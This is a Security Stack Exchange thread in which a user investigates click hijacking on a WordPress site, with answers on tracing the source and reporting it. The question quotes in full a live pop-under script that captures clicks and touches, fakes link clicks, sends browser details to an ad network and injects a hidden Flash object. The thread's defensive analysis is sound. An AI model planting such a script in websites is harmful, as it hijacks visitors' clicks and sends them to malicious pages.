5

When surfing a popular Wordpress website on my mobile, clicking on a link to an article within would sometimes open a new window to a malicious website or launch the Apps Store. I am interested to find out how this is being done using the developer tools. I tried launching the said website using Google Chrome and simulating my mobile user-agent. Indeed, some random malicious website is being opened in a new window.

However, hovering above the links on the original site do not give any hint that a malicious link would be opened. Also, I could not trace the malicious link by searching through the source code of the rendered HTML page on Chrome. It seems that some Javascript and CSS magic are applied.

UPDATE:
I managed to track the clickjacking source to a dynamically loaded script below:

!function () {
  var e = document,
  t = _gunggo,
  a = t.browser,
  o = t.lib,
  i = t.pop = t.pop || {
    placeHolder: function (e) {
      t.pop.trigger(e)
    }
  },
  r = t.settings.pop = t.settings.pop || {
  };
  r.kw = r.kw || '',
  r.ref = r.ref || '',
  r.type = r.type || 'popunder',
  r.infinite = r.premium || r.infinite || '',
  o.attEvt(e, 'mousedown', i.placeHolder, 1),
  o.attEvt(e, 'click', i.placeHolder, 1),
  o.attEvt(e, 'touchstart', i.placeHolder, 1),
  (r.geotarget || r.price) && o.passGeo(),
  i.enableFlashHack = 0,
  i.url = function () {
    var e = navigator,
    a = screen;
    return '//ad.directrev.com/RealMedia/ads/adstream_sx.ads/' + t.settings.siteID + '/1' + 100000000000000000 * Math.random() + '@x10?uln=' + (e.language ? e.language : e.userLanguage).toLowerCase() + '&je=' + e.javaEnabled() + '&ce=' + e.cookieEnabled + '&sr=' + a.width + 'x' + a.height + '&kw=' + r.kw + '&ref=' + r.ref
  },
  i.lock = function (e) {
    e = e || window.event;
    var t = e.target || e.srcElement;
    t = t && t.tagName ? t.tagName.toUpperCase()  : 0,
    e.cancelBubble = 1,
    e.preventDefault && e.preventDefault(),
    e.stopImmediatePropagation && e.stopImmediatePropagation(),
    e.stopPropagation && e.stopPropagation(),
    e.stop && e.stop()
  },
  i.trigger = function (e) {
    var n = t.settings;
    o.saveActiveViews(r, '_g.pop.views'),
    o.saveActiveViews = function () {
    };
    try {
      if (t.trace.warn('user click'), i.pause) return;
      if ('Chrome' != a.agent && 'mousedown' == e.type || 'Firefox' == a.agent && 2 == e.button) return;
      if (r.ostarget && !o.passOS(r)) return;
      if (r.mobileOnly && !a.isMobile()) return;
      if (r.browserTarget && !o.passBrowser(r)) return;
      if (r.freqcap && !o.passFreqCap(r, '_g.pop')) return;
      if (r.activeViews && !o.passActiveViews(r, '_g.pop.views')) return;
      if (r.geotarget && !o.passGeo(null, r)) return;
      r.price && (n.siteID = o.getSiteIDByGeo(r, n.siteID)),
      t.trace.warn('pass checks'),
      n.debug && 0 !== r.mode && (r.mode = r.mode || 10),
      r.mode = !n.debug && (r.mode < 10 && 0 !== r.mode || 'undefined' == typeof r.mode) ? 10 : r.mode,
      r.infinite && (r.mode = r.infinite),
      o.log('mode: ' + r.mode)
    } catch (s) {
      return void o.log(s)
    }
    'tab' == r.type && 'Chrome' == a.agent ? (i.botClick(i.url()), i.pause = 1, setTimeout(i.clear, 1))  : i.enableFlashHack && i.swf.PercentLoaded() > 0 && 'HTML' != e.target.tagName && 'OBJECT' != e.target.tagName ? 0 == e.button && (i.swf.style.width = i.swf.style.height = '100%', setTimeout(function () {
      i.swf.style.width = i.swf.style.height = '1px'
    }, 2000))  : i.clickHandler()
  },
  i.clickHandler = function () {
    i.pause = 1,
    t.trace.warn('new window');
    var e = screen,
    o = r.width || e.width,
    s = r.height || e.height,
    l = a.agent,
    p = 'tab' == r.type ? '' : 'width=' + o + ',height=' + s + ',top=' + (e.height - s) / 2 + ',left=' + (e.width - o) / 2 + ',resizable=no,scrollbars=yes,toolbar=no,location=no,directories=no,status=no,menubar=no,copyhistory=no';
    'swaptab' != r.type ? n = open(i.url(), '_blank', p)  : (n = open(self.location, '_blank', ''), self.location = i.url()),
    setTimeout(i.clear, 1),
    'popup' != r.type && ('Firefox' == l && n.window.open('about:blank').close(), 'Explorer' == l && (n.blur(), n.opener.focus()))
  },
  i.clear = function () {
    t.trace.warn('clean up'),
    i.pause = 1;
    var a = i.swf;
    r.mode >= 0 && o.saveFreq(r, '_g.pop', r.domain ? r.domain : null),
    r.infinite && (r.mode = r.infinite),
    r.mode <= 0 ? (o.detEvt(e, 'click', i.placeHolder, 1), o.detEvt(e, 'mousedown', i.placeHolder, 1), o.detEvt(e, 'touchstart', i.placeHolder, 1), setTimeout(function () {
      a && e.body.removeChild(a)
    }, 200))  : setTimeout(function () {
      r.freqcap = null,
      r.mode = i.pause = 0,
      a && (a.style.visibility = ''),
      t.trace.warn('reopen start')
    }, 1000 * r.mode),
    a && (a.style.visibility = 'hidden', a.style.width = a.style.height = '1px')
  },
  i.botClick = function (t) {
    var a = e.createElement('a'),
    o = e.createEvent('MouseEvents');
    a.href = t,
    o.initMouseEvent('click', 1, 1, window, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, null),
    a.dispatchEvent(o)
  },
  i.flash = function () {
    o.log('body loaded');
    var t = HTMLElement.prototype,
    a = e.createElement('param'),
    n = e.createElement('object');
    t.attr = t.setAttribute,
    a.attr('name', 'allowscriptaccess'),
    a.attr('value', 'always'),
    n.appendChild(a),
    a = e.createElement('param'),
    a.attr('name', 'wmode'),
    a.attr('value', 'transparent'),
    n.appendChild(a),
    n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),
    n.attr('style', 'position:fixed;width:1px;height:1px;z-index:999999;overflow:hidden;left:0px'),
    e.body.insertBefore(n, e.body.firstChild),
    i.swf = n,
    e.removeEventListener('DOMContentLoaded', i.flash)
  },
  i.init = function () {
    try {
      o.detEvt(e, 'mousedown', _gunggo.pop.open, 1),
      o.detEvt(e, 'click', _gunggo.pop.open, 1)
    } catch (t) {
    }
  },
  i.clkPop = i.trigger,
  a.flash && 'popunder' == r.type && 'Chrome' == a.agent && a.version <= 42 && (e.body ? i.flash()  : e.addEventListener('DOMContentLoaded', i.flash), i.enableFlashHack = 1)
}();

Correct me if I am wrong, it seems that user click is being suppressed with i.lock function and a click is simulated with i.botClick function on a dynamically created link element.

Without painstakingly debugging the page by stepping through 20 over Javascripts, is there a quick and easy way to identify the source of such a clickjacking attack so that I can warn the site owner, who may not be well-versed in javascript, about this hidden problem.

Question Overflow
  • 5,220
  • 6
  • 27
  • 48
  • 1
    Are you sure that it's not an advertising mechanism? I've seen some Web sites that intermittently redirect clicks to ads in a new tab or a pop under. – Neil Smithline Aug 10 '15 at 06:08
  • @NeilSmithline, I didn't say it isn't. A malicious page is launched as a result and I didn't click on the ads. Are u saying this isn't clickjacking? – Question Overflow Aug 10 '15 at 06:47
  • I agree with @NeilSmithline - this sounds like a "pop-under" rather than a clickjacking attack. Clickjacking aims for the victim to perform an "unsafe" action immediately, without detection (e.g. like this page, buy this widget using your already logged in ebay account, etc). – SilverlightFox Aug 10 '15 at 11:03
  • @SilverlightFox, yup, that would be a typical case of clickjacking. In this case, user clicks are being hijacked to launch the malicious link. The only difference is that user is made aware after the fact due to the [new window popping up](http://security.stackexchange.com/q/95703/9312) (it didn't pop-under on a mobile browser). – Question Overflow Aug 10 '15 at 11:35
  • Remember its only a clickjacking attack if the page is being attacked by another page that is framing it - if the page itself is creating pop-unders then I wouldn't class it as clickjacking. – SilverlightFox Aug 10 '15 at 11:53
  • Yes @QuestionOverflow, not clickjacking. `directrev.com` has a sketchy reputation for allowing ads that link to malicious sites as well as paying for unintentional clicks (many advertisers prohibit the displaying site from tricking the user into clicking). – Neil Smithline Aug 10 '15 at 13:41

2 Answers2

3

The parts of the script you identified that are important to the source are as follows:

//ad.directrev.com/RealMedia/ads/adstream_sx.ads/

and

n.attr('data', '//az413505.vo.msecnd.net/images/g.swf'),

Both of these are URLs and can be use to identify who is involved in this script. The first URL identifies the advertising affiliate network - "directrev.com" - that serves as the intermediary for the publisher (in this case, a hacker from your description) and the advertiser. Using affiliate networks like these, hackers can monetize compromised websites.

The second URL links to a Flash file that is downloaded from the Edge Networks CDN. I didn't decompress the file (g.swf); it is likely that when executed, the Flash file downloads some sort of malware package. I can attempt to decompile it if youre interested and as time permits - there will likely be another IP address or host referenced within.

This second URL can further be used to identify who is involved with the scheme you described - Edge Network customers are, I believe, assigned standardized host names based on their Customer ID numbers - in this case, az413505.vo.msecnd.net. Sending an Abuse complaint to Edgecast with a copy of the script you provided here should result in the termination of their service; provided that Edgecast enforces and industry-standard AUP.

As for the other comments debating the difference between "click-jacking" and "popunders"; IMO either term is relevant here. Marketeers use the term popunder to attempt to legitimize a deceptive, damaging and frequently illegal practice. Click-jacking is typically used by those who have been victimized by those practices. I prefer click-jacking as it more accurately describes what has taken place - popunder too readily brings to mind "popup", an action that would leave the original navigation page still in place. Particularly in this scenario, where the advertisement has been put into place through the defacing of a website, click-jacking better entails the theft of traffic that is taking place.

Finally; I may have misunderstood what OP here means by "source" - as she or he might have referred to how the website in question was originally compromised. These types of defacements regularly occur through the exploit of older, insecure Wordpress versions and plugins. Unfortunately, a pain-staking review of the code is the only way to be sure - but I would recommend starting by resetting account passwords, disabling out-of-date plugins and ensuring Wordpress is the latest version. Other non-Wordpress targets include web form and SQL injection.

Josh Wieder
  • 131
  • 3
-1

Because you are using Google Chrome Developer Tools, here some information from my experience:

  • COULD BE that the User Agent change is not being applied in the website. Mobile User Agent Emulator in Google Chrome Developer Tools is not really efficient, sometimes it works and sometimes not. Depends of the user agent detection of the website (Web Mobile Developer). You should try with Firefox of maybe with a Android Emulator.
  • If you are good with HTML, you should disable JavaScript, ONLY FOR SECURITY PURPOSES, disabling it with the Developer Tools or using NoScript plugins.
  • Tag analysis in start page and page footer. As a Web Mobile Developer we always try to put all the scripts in the header or the footer of the page just for loading and better user experience. An attacker can check a lot of validations of your Mobile Device before loading the entire page, so start with the header.
  • Check Network tab in Developer Tools. This is useful to know what is being loaded in the page. Maybe not only that page is being loaded but also an attacker could load iframes just for device checking.

And another thing: Always verify HTTP headers and Response. In the network tab, you could check what server the attacker is using and maybe some Page Error Pentesting could work.

schroeder
  • 123,438
  • 55
  • 284
  • 319
NathanWay
  • 559
  • 7
  • 14